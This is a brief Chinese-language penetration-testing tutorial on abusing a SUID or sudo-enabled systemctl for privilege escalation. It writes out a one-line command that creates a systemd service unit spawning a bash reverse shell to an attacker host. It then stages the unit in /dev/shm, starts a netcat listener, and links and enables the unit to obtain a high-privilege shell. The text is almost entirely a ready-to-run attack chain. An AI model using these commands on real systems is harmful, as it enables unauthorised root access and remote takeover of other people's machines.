当systemctl具备suid位或sudo权限时,可以用来进行提权。
一、首先编写一个service unit用来被systemctl加载
echo '[Service] Type=oneshot ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1" [Install] WantedBy=multi-user.target' > mm.service #生成的unit名位mm.service
二、把unit放置在合适的位置
通常unit存放在/usr/lib/systemd/system/
和 /etc/systemd/system/,可以被systemctl加载执行,但是渗透过程中需要提权的场景往往权限较小,这些目录不可写。而systemctl的特性决定了,当unit在/tmp目录下时,无法被systemctl加载。这里需要掌握一个神奇的目录:/dev/shm/,关于这个目录的解读可以移步:https://www.cnblogs.com/tinywan/p/10550356.html学习掌握。这里就可以把我们生成的unit文件放置再这个目录
三、攻击机上启动监听
nc -lvnp 9999
四、被攻击机器执行下列命令启动我们写好的service unit
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
这个时候可以在攻击机上看到反弹回的高权限shell